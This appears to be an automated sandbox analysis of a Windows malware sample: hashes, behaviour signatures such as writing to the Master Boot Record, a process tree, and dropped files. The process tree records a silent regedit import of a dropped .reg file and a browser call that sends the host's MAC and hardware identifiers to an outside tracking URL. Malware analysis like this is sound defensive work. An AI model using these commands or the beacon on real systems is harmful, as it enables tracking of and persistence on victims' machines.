Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    16/10/2024, 01:38

General

  • Target

    4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe

  • Size

    16KB

  • MD5

    4adca049e14c2d79ef528c1203e233f5

  • SHA1

    8723ec40465c356c844d2c483d25043eaf6afcda

  • SHA256

    1a2ff4068fbe1eb0c3a71ce171a5d0d1787efbf69eb416b36529eea89dee52df

  • SHA512

    2369ddbeaae1819f3d5aaa09c2c262b8a91af5c47eef6c43c5187996340c07e6fa2a01d79eb69d3c9b451ca23ab362f4f4492eaaa87b9be7ba1188317ab35514

  • SSDEEP

    384:5gK+aczPVLXOjtYel7ZZH9Ej3MoYn8N1YmnrtFyxAO:5I/1Ojt1nuYGYYtFK9

Malware Config

Signatures

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 24 IoCs
  • Modifies registry class 14 IoCs
  • Runs .reg file with regedit 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\4adca049e14c2d79ef528c1203e233f5_JaffaCakes118.exe"
    1⤵
    • Writes to the Master Boot Record (MBR)
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3020
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c regedit /s "C:\Users\Admin\AppData\Local\Temp\getback.reg"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2632
      • C:\Windows\SysWOW64\regedit.exe
        regedit /s "C:\Users\Admin\AppData\Local\Temp\getback.reg"
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Runs .reg file with regedit
        PID:2484
    • C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://union.wanwan.cc/Stat.ashx?Mac=E2BC28E7E786&Hard=DD00013&ClientType=Home&Process=32&UserID=0002&Authen=812-443
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2828
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2828 CREDAT:275457 /prefetch:2
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:2204

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\getback.reg

          Filesize

          1KB

          MD5

          626e2d76f5c328d57a3eff6a7f94d129

          SHA1

          210fd33fa005775b30a8fd40a065a2e788934216

          SHA256

          5d9ae4b62924d6da9c35305bfd0d61c893767b7113f8b2f239da02057f8bee6e

          SHA512

          629290bd5791a42327b3b70a68609c6b0b9114365be8579553e01e6cbc98996c0fab475b88c0dd80d34dcc325453401c6cce26fb70ed67a9cb08271a07fd85a1

        • memory/3020-1-0x0000000000020000-0x0000000000022000-memory.dmp

          Filesize

          8KB

        • memory/3020-0-0x0000000000400000-0x000000000040D000-memory.dmp

          Filesize

          52KB

        • memory/3020-15-0x0000000000400000-0x000000000040D000-memory.dmp

          Filesize

          52KB